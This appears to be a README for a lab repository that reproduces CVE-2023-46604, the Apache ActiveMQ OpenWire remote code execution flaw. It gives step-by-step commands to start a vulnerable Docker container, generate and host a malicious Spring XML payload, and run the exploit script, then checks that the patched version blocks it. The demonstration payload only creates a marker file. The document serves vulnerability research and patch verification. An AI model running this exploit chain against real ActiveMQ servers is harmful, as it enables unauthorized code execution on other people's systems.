## https://sploitus.com/exploit?id=37C49D97-E8F5-5260-A003-EE331E336213
# CVE-2023-46604 – Apache ActiveMQ Remote Code Execution
## Overview
This repository contains the material required to reproduce CVE-2023-46604, a Remote Code Execution (RCE) vulnerability affecting Apache ActiveMQ.
The project demonstrates:
- Deployment of a vulnerable Apache ActiveMQ instance;
- Exposure of the vulnerable OpenWire service;
- Successful exploitation resulting in Remote Code Execution;
- Verification of the official security patch;
- Comparison between vulnerable and patched versions.
The exploit is configured to execute a harmless command that creates a marker file named `pwned` inside the `/tmp` directory of the target container.
This allows exploitation to be demonstrated safely without affecting the host operating system.
---
# Requirements
The following software must be installed:
- Docker
- Docker Compose
- Python 3
- Netcat (nc)
The reproduction was tested on macOS using Docker Desktop.
---
# Repository Structure
```text
.
├── docker/
│ ├── docker-compose.yml
│ └── docker-compose-fixed.yml
│
├── figures/
│ ├── Figure 1 – Docker container running the vulnerable ActiveMQ instance
│ ├── Figure 2 – Apache ActiveMQ web console
│ ├── Figure 3 – OpenWire service exposed on TCP port 61616
│ ├── Figure 4 – Initial container state before exploitation
│ ├── Figure 5 – Malicious Spring XML payload
│ ├── Figure 6 – Vulnerable ActiveMQ retrieving the payload
│ ├── Figure 7 – Delivery of the exploit packet
│ ├── Figure 8 – Successful Remote Code Execution
│ ├── Figure 9 – Patched Apache ActiveMQ instance
│ ├── Figure 10 – Exploit attempt against patched version
│ ├── Figure 11 – Verification of mitigation
│ └── Figure 12 - ACN
│
├── poc/
│ ├── generate_poc.py
│ ├── main.py
│ └── poc-linux.xml
│
├── report/
│ └── CVE.pdf
│
└── README.md
```
---
# 1. Determine the Local IP Address
The exploit requires the IP address of the host machine because the ActiveMQ container must download the malicious XML payload.
### macOS
```bash
ipconfig getifaddr en0
```
Example output:
```text
192.168.1.100
```
### Linux
```bash
hostname -I
```
Make note of this IP address because it will be used later.
---
# 2. Start the Vulnerable Environment
Launch the vulnerable ActiveMQ container:
```bash
docker compose -f docker/docker-compose.yml up -d
```
Verify that the container is running:
```bash
docker ps
```
Expected output:
```text
activemq-vuln
```
---
# 3. Verify ActiveMQ Availability
The vulnerable container exposes:
| Service | Port |
|----------|----------|
| ActiveMQ Web Console | 8161 |
| OpenWire Protocol | 61616 |
Open:
```text
http://localhost:8161/admin
```
Default credentials:
```text
Username: admin
Password: admin
```
Successful login confirms that ActiveMQ is operational.
---
# 4. Verify OpenWire Exposure
Verify that the vulnerable OpenWire service is reachable:
```bash
nc -vz localhost 61616
```
Expected result:
```text
Connection to localhost port 61616 succeeded
```
The OpenWire protocol is the attack surface exploited by CVE-2023-46604.
---
# 5. Move to the Exploit Directory
```bash
cd poc
```
All remaining commands should be executed from this directory unless otherwise specified.
---
# 6. Generate the Malicious XML Payload
Generate the payload.
Example:
```bash
python3 generate_poc.py
```
Expected output:
```text
[*] PoC XML written to poc-linux.xml
[*] Payload command: touch /tmp/pwned
```
This XML file instructs the vulnerable broker to execute:
```bash
touch /tmp/pwned
```
inside the target container.
The command is embedded inside the XML payload and will be executed automatically by the vulnerable ActiveMQ instance during exploitation. It must not be executed manually on the host operating system.
No destructive actions are performed.
---
# 7. Host the Payload
Start a simple HTTP server:
```bash
python3 -m http.server 2002
```
Expected output:
```text
Serving HTTP on 0.0.0.0 port 2002
```
The payload is now available at:
```text
http://192.168.1.100:2002/poc-linux.xml
```
Replace the IP address with your own.
Leave this terminal open for the remainder of the exploit.
---
# 8. Launch the Exploit
Open a second terminal window.
Navigate again to the exploit directory:
```bash
cd poc
```
Run:
```bash
python3 main.py -i 127.0.0.1 -u http://192.168.1.100:2002/poc-linux.xml
```
Replace the IP address with your own.
Expected output:
```text
[*] Target: 127.0.0.1:61616
[*] XML URL: http://:2002/poc-linux.xml
[*] Sending packet: ...
```
---
# 9. Verify Successful Exploitation
Open a third terminal window.
Inspect the container:
```bash
docker exec -it activemq-vuln bash
```
List the contents of `/tmp`:
```bash
ls /tmp
```
Expected output:
```text
hsperfdata_root pwned
```
The presence of the file confirms successful Remote Code Execution.
---
# 10. Stop the Vulnerable Environment
Exit the container:
```bash
exit
```
Stop the vulnerable instance:
```bash
docker compose -f docker/docker-compose.yml down
```
---
# 11. Start the Patched Environment
Launch the patched ActiveMQ version:
```bash
docker compose -f docker/docker-compose-fixed.yml up -d
```
Verify:
```bash
docker ps
```
Expected output:
```text
activemq-fixed
```
---
# 12. Repeat the Exploit
Ensure the HTTP server from Step 7 is still running.
Navigate again to the `poc` directory:
```bash
cd poc
```
Execute the same exploit again:
```bash
python3 main.py -i 127.0.0.1 -u http://192.168.1.100:2002/poc-linux.xml
```
---
# 13. Verify the Patch
Inspect the patched container:
```bash
docker exec -it activemq-fixed bash
```
List the contents of `/tmp`:
```bash
ls /tmp
```
Expected result:
```text
hsperfdata_root
```
pwned must NOT be present.
Exit the container:
```bash
exit
```
The absence of the marker file demonstrates that the official patch successfully prevents exploitation.
---
# Cleanup
Return to the project root directory before executing Docker Compose commands:
```bash
cd ..
```
Stop all containers:
```bash
docker compose -f docker/docker-compose.yml down
docker compose -f docker/docker-compose-fixed.yml down
```
Verify that no ActiveMQ containers remain:
```bash
docker ps
```
---
# Expected Results Summary
| Test | Expected Result |
|--------|--------|
| Vulnerable version | `/tmp/pwned` created |
| Patched version | `/tmp/pwned` not created |
| Web console | Accessible on port 8161 |
| OpenWire service | Reachable on port 61616 |
---
# Disclaimer
This project was created exclusively for educational and research purposes.
The exploit executes only a harmless command that creates a marker file named `pwned` inside the target container in order to demonstrate successful Remote Code Execution without causing damage to the target system or the host operating system.